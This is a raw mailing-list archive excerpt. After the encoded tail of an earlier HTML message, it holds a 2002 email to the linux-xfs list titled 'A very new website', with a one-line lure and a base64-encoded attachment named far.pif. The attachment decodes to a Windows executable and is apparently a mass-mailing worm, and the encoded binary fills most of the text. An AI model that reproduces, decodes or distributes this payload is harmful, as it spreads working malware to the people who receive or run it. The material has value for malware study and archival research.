NzQyMzA4MDM5IiBmd25lc3RlZD0iMCIgLS0+DQogIDx0cj4NCiAgIDx0ZD48aW1nIHNyYz0i Li4vaW1hZ2VzL3NwYWNlci5naWYiIHdpZHRoPSIyNCIgaGVpZ2h0PSIxIiBib3JkZXI9IjAi PjwvdGQ+DQogICA8dGQ+PGltZyBzcmM9Ii4uL2ltYWdlcy9zcGFjZXIuZ2lmIiB3aWR0aD0i MjEwIiBoZWlnaHQ9IjEiIGJvcmRlcj0iMCI+PC90ZD4NCiAgIDx0ZD48aW1nIHNyYz0iLi4v aW1hZ2VzL3NwYWNlci5naWYiIHdpZHRoPSI0MzAiIGhlaWdodD0iMSIgYm9yZGVyPSIwIj48 L3RkPg0KICAgPHRkPjxpbWcgc3JjPSIuLi9pbWFnZXMvc3BhY2VyLmdpZiIgd2lkdGg9IjI0 IiBoZWlnaHQ9IjEiIGJvcmRlcj0iMCI+PC90ZD4NCiAgIDx0ZD48aW1nIHNyYz0iLi4vaW1h Z2VzL3NwYWNlci5naWYiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIGJvcmRlcj0iMCI+PC90ZD4N CiAgPC90cj4NCg0KICA8dHI+DQogICAgPHRkIGNvbHNwYW49IjIiPjxpbWcgc3JjPSIuLi9p bWFnZXMvcG9wX2hkcl9zdWJtaXQuZ2lmIiB3aWR0aD0iMjM0IiBoZWlnaHQ9IjQzIj48L3Rk Pg0KICAgPHRkPjxpbWcgc3JjPSIuLi9pbWFnZXMvc3BhY2VyLmdpZiIgd2lkdGg9IjEiIGhl aWdodD0iNDMiIGJvcmRlcj0iMCI+PC90ZD4NCiAgPC90cj4NCiAgPHRyPg0KICAgPHRkIHZh bGlnbj0idG9wIj48aW1nIG5hbWU9InBvcF9sZWZ0X3NpZGUiIHNyYz0iLi4vaW1hZ2VzL3Bv cF9sZWZ0X3NpZGUuZ2lmIiB3aWR0aD0iMjQiIGhlaWdodD0iMzUwIiBib3JkZXI9IjAiPjwv dGQ+DQogICAgPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNDQ0NDQ0MiIHZhbGlnbj0idG9w Ij4NCgkJPG9iamVjdCBjbGFzc2lkPSJjbHNpZDo4QUQ5Qzg0MC0wNDRFLTExRDEtQjNFOS0w MDgwNUY0OTlEOTMiIG5hbWU9InN1Ym1pdEFwcGxldCIgd2lkdGg9IjE2MDAiIGhlaWdodD0i MTIwMCIgICAgY29kZWJhc2U9Imh0dHA6Ly9qYXZhLnN1bi5jb20vcHJvZHVjdHMvcGx1Z2lu LzEuMy9qaW5zdGFsbC0xMy13aW4zMi5jYWIjVmVyc2lvbj0xLDMsMCwwIiBpZD1KYXZhX1Bs dWctaW5fMV8zXzFfMDExPg0KoKCgCQkJPHBhcmFtIG5hbWU9ImNvZGUiIFZBTFVFPSJuZXQv dGVsZXN0cmVhbS91aS9TdWJtaXRBcHBsZXQuY2xhc3MiPg0KoKCgCQkJPHBhcmFtIG5hbWU9 ImNvZGViYXNlIiBWQUxVRT0iL2NvZGUvIj4NCqCgoAkJCTxwYXJhbSBuYW1lPSJhcmNoaXZl IiB2YWx1ZT0iRmxpcEFwcGxldC5qYXIiPg0KoKCgCQkJPHBhcmFtIG5hbWU9InR5cGUiIFZB TFVFPSJhcHBsaWNhdGlvbi94LWphdmEtYXBwbGV0O3ZlcnNpb249MS4zIj4NCqCgoKAJoKCg IE5vIEphdmEgMiBTREssIFN0YW5kYXJkIEVkaXRpb24gdiAxLjMgc3VwcG9ydCBmb3IgQVBQ TEVUISENCgkJPC9vYmplY3Q+DQogICAgPC90ZD4NCiAgIDx0ZD48aW1nIHNyYz0iLi4vaW1h Z2VzL3NwYWNlci5naWYiIHdpZHRoPSIxIiBoZWlnaHQ9IjM1MCIgYm9yZGVyPSIwIj48L3Rk Pg0KICA8L3RyPg0KICA8dHI+DQogICA8dGQgY29sc3Bhbj0iNCI+PGltZyBuYW1lPSJwb3Bf YnRtIiBzcmM9Ii4uL2ltYWdlcy9wb3BfYnRtLmdpZiIgd2lkdGg9IjY4OCIgaGVpZ2h0PSIy MiIgYm9yZGVyPSIwIj48L3RkPg0KICAgPHRkPjxpbWcgc3JjPSIuLi9pbWFnZXMvc3BhY2Vy LmdpZiIgd2lkdGg9IjEiIGhlaWdodD0iMjIiIGJvcmRlcj0iMCI+PC90ZD4NCiAgPC90cj4N CjwvdGFibGU+DQo8L2JvZHk+DQo8L2h0bWw+DQ=9 --C5BA842x800qu1i96a-- From owner-linux-xfs@oss.sgi.com Tue Aug 27 22:08:29 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 22:08:33 -0700 (PDT) Received: from smtp2.jaring.my (smtp2.jaring.my [61.6.32.52]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S58OtG008389 for ; Tue, 27 Aug 2002 22:08:26 -0700 Received: from Tlodhdvyl (j45.kch7.jaring.my [161.142.221.175]) by smtp2.jaring.my (8.11.4/8.11.4) with SMTP id g7S5Bf229380 for ; Wed, 28 Aug 2002 13:11:41 +0800 (MYT) Date: Wed, 28 Aug 2002 13:11:41 +0800 (MYT) Message-Id: <200208280511.g7S5Bf229380@smtp2.jaring.my> From: aide To: linux-xfs@oss.sgi.com Subject: A very new website MIME-Version: 1.0 Content-type: text/plain Content-Transfer-Encoding: 8bit X-archive-position: 95 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: aide@www.linux-quebec.org Precedence: bulk X-list: linux-xfs --Uv66K0T9U1vd5 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable This is a special new website
I expect you would enjoy it. --Uv66K0T9U1vd5 Content-Type: application/octet-stream; name=far.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAPOeAQACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 